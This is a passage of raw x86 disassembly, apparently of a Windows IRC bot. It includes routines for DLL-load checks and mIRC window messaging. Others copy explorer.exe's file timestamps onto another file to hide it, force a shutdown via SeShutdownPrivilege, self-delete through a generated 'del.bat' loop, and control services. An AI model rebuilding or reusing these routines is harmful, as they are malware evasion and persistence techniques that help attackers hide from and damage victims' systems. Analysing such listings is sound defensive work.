		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4053F7:				; CODE XREF: sub_405277+152j
		cmp	dword_433628, esi
		jz	short loc_40542B
		push	dword_43362C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40542B:				; CODE XREF: sub_405277+186j
		cmp	dword_433630, esi
		jz	short loc_40545F
		push	dword_433634
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40545F:				; CODE XREF: sub_405277+1BAj
		cmp	dword_433638, esi
		jz	short loc_405493
		push	dword_43363C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_405493:				; CODE XREF: sub_405277+1EEj
		cmp	dword_433640, esi
		jz	short loc_4054C7
		push	dword_433644
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4054C7:				; CODE XREF: sub_405277+222j
		cmp	dword_433648, esi
		jz	short loc_4054FB
		push	dword_43364C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_4054FB:				; CODE XREF: sub_405277+256j
		cmp	dword_433650, esi
		jz	short loc_40552F
		push	dword_433654
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_412BB5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h


loc_40552F:				; CODE XREF: sub_405277+28Aj
		lea	eax, [ebp+var_200]
		push	offset aMainDllTestCom ; "[MAIN]: DLL test complete."
		push	eax
		call	sub_412BB5
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40555C
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40555C:				; CODE XREF: sub_405277+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40556E	proc near		; CODE XREF: sub_4078FA+A6Ap
					; sub_4078FA+A9Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	loc_405645
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	loc_405645
		cmp	[ebp+arg_8], esi
		jz	loc_405645
		cmp	byte ptr [eax],	0
		jz	loc_405645
		push	ebx
		push	edi
		call	sub_41E867
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_405640
		push	[ebp+arg_4]
		push	edi
		call	sub_413920
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_405639
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_412C40
		mov	eax, ebx
		sub	eax, edi
		add	esp, 0Ch
		and	byte ptr [eax+esi], 0
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]


loc_4055DB:				; CODE XREF: sub_40556E+72j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4055DB
		sub	eax, ecx
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_412A80
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		lea	ecx, [eax+1]


loc_4055F7:				; CODE XREF: sub_40556E+8Ej
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4055F7
		sub	eax, ecx
		add	eax, esi
		mov	esi, eax


loc_405604:				; CODE XREF: sub_40556E+9Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405604
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_405610:				; CODE XREF: sub_40556E+A8j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_405610
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		mov	eax, ebx
		sub	edx, ebx


loc_40562F:				; CODE XREF: sub_40556E+C9j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40562F


loc_405639:				; CODE XREF: sub_40556E+50j
		push	ebx
		call	sub_412FE4
		pop	ecx


loc_405640:				; CODE XREF: sub_40556E+3Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_405647
; ---------------------------------------------------------------------------


loc_405645:				; CODE XREF: sub_40556E+Cj
					; sub_40556E+17j ...
		xor	eax, eax


loc_405647:				; CODE XREF: sub_40556E+D5j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40556E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40564B	proc near		; CODE XREF: sub_40751F+C2p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ecx, 1F4h
		lea	edi, [ebp+var_7D0]
		rep stosd
		mov	ecx, [ebp+arg_0]
		mov	eax, ecx
		lea	esi, [eax+1]


loc_40566E:				; CODE XREF: sub_40564B+28j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40566E
		sub	eax, esi
		xor	ebx, ebx
		mov	edi, eax
		inc	ebx
		cmp	edi, ebx
		jge	short loc_405685
		or	eax, 0FFFFFFFFh
		jmp	short loc_4056E5
; ---------------------------------------------------------------------------


loc_405685:				; CODE XREF: sub_40564B+33j
		xor	edx, edx
		test	edi, edi
		mov	[ebp+var_7D0], ecx
		jle	short loc_4056A5


loc_405691:				; CODE XREF: sub_40564B+58j
		mov	al, [edx+ecx]
		cmp	al, 0Ah
		jz	short loc_40569C
		cmp	al, 0Dh
		jnz	short loc_4056A0


loc_40569C:				; CODE XREF: sub_40564B+4Bj
		and	byte ptr [edx+ecx], 0


loc_4056A0:				; CODE XREF: sub_40564B+4Fj
		inc	edx
		cmp	edx, edi
		jl	short loc_405691


loc_4056A5:				; CODE XREF: sub_40564B+44j
		xor	esi, esi
		test	edi, edi
		jle	short loc_4056CF


loc_4056AB:				; CODE XREF: sub_40564B+82j
		cmp	byte ptr [esi+ecx], 0
		jnz	short loc_4056CA
		lea	edx, [esi+ecx+1]
		cmp	byte ptr [edx],	0
		jz	short loc_4056CA
		cmp	ebx, 1F4h
		jge	short loc_4056CF
		mov	[ebp+ebx*4+var_7D0], edx
		inc	ebx


loc_4056CA:				; CODE XREF: sub_40564B+64j
					; sub_40564B+6Dj
		inc	esi
		cmp	esi, edi
		jl	short loc_4056AB


loc_4056CF:				; CODE XREF: sub_40564B+5Ej
					; sub_40564B+75j
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_4056E3
		mov	ecx, 1F4h
		lea	esi, [ebp+var_7D0]
		rep movsd


loc_4056E3:				; CODE XREF: sub_40564B+89j
		mov	eax, ebx


loc_4056E5:				; CODE XREF: sub_40564B+38j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40564B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056EA	proc near		; CODE XREF: sub_405A98+26p
					; sub_405AD5+79p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_413A6E
		cmp	al, 61h
		pop	ecx
		jl	short loc_405705
		cmp	al, 7Ah
		jg	short loc_405705
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_405705:				; CODE XREF: sub_4056EA+Ej
					; sub_4056EA+12j
		xor	eax, eax
		retn
sub_4056EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405708	proc near		; CODE XREF: sub_4078FA+2B12p
					; sub_4078FA+3596p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41F008
		push	0
		push	100h
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_41F07C
		lea	eax, [ebp+var_100]


loc_405741:				; CODE XREF: sub_405708+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40574D
		cmp	cl, 9
		jnz	short loc_405750


loc_40574D:				; CODE XREF: sub_405708+3Ej
		inc	eax
		jmp	short loc_405741
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_405708+43j
					; sub_405708+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40576A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_405750
		cmp	cl, 21h
		jl	short loc_405750


loc_40576A:				; CODE XREF: sub_405708+54j
		push	esi
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		mov	esi, offset dword_433660
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_412E0D
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_405708	endp


; =============== S U B	R O U T	I N E =======================================



sub_405792	proc near		; CODE XREF: sub_4078FA+41DFp
		push	esi
		push	0
		call	dword_43344C
		test	eax, eax
		jz	short loc_4057C9
		push	1
		call	dword_4335CC
		mov	esi, eax
		test	esi, esi
		jz	short loc_4057C9
		push	edi
		push	esi
		call	ds:dword_41F084
		push	esi
		mov	edi, eax
		call	ds:dword_41F080
		call	dword_433430
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4057C9:				; CODE XREF: sub_405792+Bj
					; sub_405792+19j
		xor	eax, eax
		pop	esi
		retn
sub_405792	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057CD	proc near		; CODE XREF: sub_4078FA+34F6p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	edi
		call	dword_4334F8
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_405849
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_41F090
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		push	0F001Fh
		push	edi
		call	ds:dword_41F08C
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_433560
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_433560
		push	ebx
		call	ds:dword_41F088
		push	edi
		call	ds:dword_41F034
		xor	eax, eax
		inc	eax
		pop	ebx
		jmp	short loc_40584B
; ---------------------------------------------------------------------------


loc_405849:				; CODE XREF: sub_4057CD+16j
		xor	eax, eax


loc_40584B:				; CODE XREF: sub_4057CD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4057CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40584F	proc near		; CODE XREF: sub_40D1EF+21Ep

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4334C0
		test	eax, eax
		jz	short loc_4058F0
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41F03C
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4058EE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_41F098
		push	ebx
		mov	ebx, ds:dword_41F034
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4058EE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_41F094
		push	esi
		call	ebx


loc_4058EE:				; CODE XREF: sub_40584F+51j
					; sub_40584F+87j
		pop	edi
		pop	ebx


loc_4058F0:				; CODE XREF: sub_40584F+28j
		pop	esi
		leave
		retn
sub_40584F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4058F3	proc near		; CODE XREF: sub_4078FA+11A9p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40707D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_433538
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4058F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405915	proc near		; CODE XREF: sub_401F06+495p
					; sub_4078FA+4492p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	ebx
		xor	ebx, ebx
		cmp	dword_42AE58, ebx
		push	esi
		jz	short loc_405939
		cmp	dword_433600, ebx
		jnz	short loc_405939
		push	ebx
		call	sub_401E73
		pop	ecx


loc_405939:				; CODE XREF: sub_405915+13j
					; sub_405915+1Bj
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_41F0A4
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_260]
		push	eax
		call	ds:dword_41F03C
		mov	esi, eax
		cmp	esi, ebx
		jbe	loc_405A94
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_764]
		add	esp, 0Ch
		lea	edx, [eax+1]


loc_4059AC:				; CODE XREF: sub_405915+9Cj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4059AC
		push	edi
		push	ebx
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	esi
		call	ds:dword_41F038
		push	esi
		call	ds:dword_41F034
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_58]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_15C]
		push	eax
		push	ebx
		mov	[ebp+var_4C], 41FA76h
		mov	[ebp+var_58], 44h
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], bx
		call	ds:dword_41F078
		push	eax
		call	ds:dword_41F010
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41F06C
		cmp	eax, 0FFFFFFFFh
		pop	edi
		jz	short loc_405A3D
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41F0A0


loc_405A3D:				; CODE XREF: sub_405915+114j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_41F09C
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	ebx
		push	ebx
		push	4010h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	eax
		push	ebx
		call	ds:dword_41F030


loc_405A94:				; CODE XREF: sub_405915+6Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_405915	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A98	proc near		; CODE XREF: sub_405AD5+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		rep stosd
		lea	edi, [eax-1]
		xor	esi, esi
		test	edi, edi
		jl	short loc_405AD2
		push	ebx
		mov	ebx, edi


loc_405AB5:				; CODE XREF: sub_405A98+37j
		mov	eax, [esp+0Ch+arg_0]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_4056EA
		pop	ecx
		mov	ecx, [esp+0Ch+arg_8]
		inc	esi
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_405AB5
		pop	ebx


loc_405AD2:				; CODE XREF: sub_405A98+18j
		pop	edi
		pop	esi
		retn
sub_405A98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AD5	proc near		; CODE XREF: sub_401D13+10p
					; sub_401D45+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_405AE8:				; CODE XREF: sub_405AD5+18j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405AE8
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_405AFA:				; CODE XREF: sub_405AD5+2Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_405AFA
		push	ebx
		push	esi
		sub	eax, ecx
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_405A98
		add	esp, 0Ch
		dec	esi
		mov	edi, esi
		jmp	short loc_405B97
; ---------------------------------------------------------------------------


loc_405B23:				; CODE XREF: sub_405AD5+C4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A6E
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_413A6E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_405B95


loc_405B45:				; CODE XREF: sub_405AD5+BEj
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edi+ebx]
		push	eax
		call	sub_4056EA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_405B68
		mov	eax, ecx


loc_405B68:				; CODE XREF: sub_405AD5+8Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_405BA5
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_413A6E
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_413A6E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_405B45


loc_405B95:				; CODE XREF: sub_405AD5+6Ej
		dec	edi
		dec	esi


loc_405B97:				; CODE XREF: sub_405AD5+4Cj
		test	esi, esi
		jg	short loc_405B23
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_405BA0:				; CODE XREF: sub_405AD5+D2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405BA5:				; CODE XREF: sub_405AD5+98j
		xor	eax, eax
		jmp	short loc_405BA0
sub_405AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BA9	proc near		; CODE XREF: sub_40668A+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	ebx
		call	dword_43355C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_405BD0
		call	ds:dword_41F008
		mov	ebx, eax
		jmp	short loc_405C45
; ---------------------------------------------------------------------------


loc_405BD0:				; CODE XREF: sub_405BA9+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4335D8
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_405BF0
		call	ds:dword_41F008
		mov	ebx, eax
		jmp	short loc_405C3D
; ---------------------------------------------------------------------------


loc_405BF0:				; CODE XREF: sub_405BA9+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_405C23
		cmp	eax, 3
		jz	short loc_405C14
		jle	short loc_405C36
		cmp	eax, 6
		jg	short loc_405C36
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_433580
		jmp	short loc_405C2A
; ---------------------------------------------------------------------------


loc_405C14:				; CODE XREF: sub_405BA9+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_433564
		jmp	short loc_405C2A
; ---------------------------------------------------------------------------


loc_405C23:				; CODE XREF: sub_405BA9+4Dj
		push	esi
		call	dword_433494


loc_405C2A:				; CODE XREF: sub_405BA9+69j
					; sub_405BA9+78j
		test	eax, eax
		jnz	short loc_405C36
		call	ds:dword_41F008
		mov	ebx, eax


loc_405C36:				; CODE XREF: sub_405BA9+54j
					; sub_405BA9+59j ...
		push	esi
		call	dword_4334D0


loc_405C3D:				; CODE XREF: sub_405BA9+45j
		push	edi
		call	dword_4334D0
		pop	esi


loc_405C45:				; CODE XREF: sub_405BA9+25j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_405BA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C4B	proc near		; CODE XREF: sub_40668A:loc_4066D2p
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_405CFC
		jz	loc_405CF5
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_405CBF
		jz	short loc_405CB5
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_405CAB
		dec	ecx
		dec	ecx
		jz	short loc_405CA1
		dec	ecx
		jz	short loc_405C97
		sub	ecx, 51h
		jz	short loc_405C8D
		sub	ecx, 24h
		jnz	loc_405D72	; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405C8D:				; CODE XREF: sub_405C4B+2Dj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405C97:				; CODE XREF: sub_405C4B+28j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CA1:				; CODE XREF: sub_405C4B+25j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_405C4B+21j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CB5:				; CODE XREF: sub_405C4B+1Aj
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CBF:				; CODE XREF: sub_405C4B+18j
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_405CEE
		dec	ecx
		jz	short loc_405CE7
		dec	ecx
		jz	short loc_405CE0
		dec	ecx
		jnz	loc_405D72	; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_405C4B+82j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CE7:				; CODE XREF: sub_405C4B+7Fj
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CEE:				; CODE XREF: sub_405C4B+7Cj
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CF5:				; CODE XREF: sub_405C4B+Dj
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405CFC:				; CODE XREF: sub_405C4B+7j
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_405D72 ; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_405D5F
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_405D72 ; default
					; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_405DB3[ecx]
		jmp	ds:off_405D8B[ecx*4] ; switch jump


loc_405D20:				; DATA XREF: .text:off_405D8Bo
		push	offset aTheSpecifiedDa ; jumptable 00405D19 case 7
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D27:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceDepe ; jumptable 00405D19 case 17
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D2E:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceDe_0 ; jumptable 00405D19 case 10
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D35:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHasB ; jumptable 00405D19 case 0
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D3C:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheSpecified_0 ; jumptable 00405D19 case 2
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D43:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceCoul ; jumptable 00405D19 case 11
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D4A:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHa_0 ; jumptable 00405D19 case 14
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D51:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheRequested_1 ; jumptable 00405D19 case 3
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D58:				; CODE XREF: sub_405C4B+CEj
					; DATA XREF: .text:off_405D8Bo
		push	offset aTheServiceHasN ; jumptable 00405D19 case 4
		jmp	short loc_405D64
; ---------------------------------------------------------------------------


loc_405D5F:				; CODE XREF: sub_405C4B+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_405D64:				; CODE XREF: sub_405C4B+3Dj
					; sub_405C4B+47j ...
		push	offset dword_433860
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_405D85
; ---------------------------------------------------------------------------


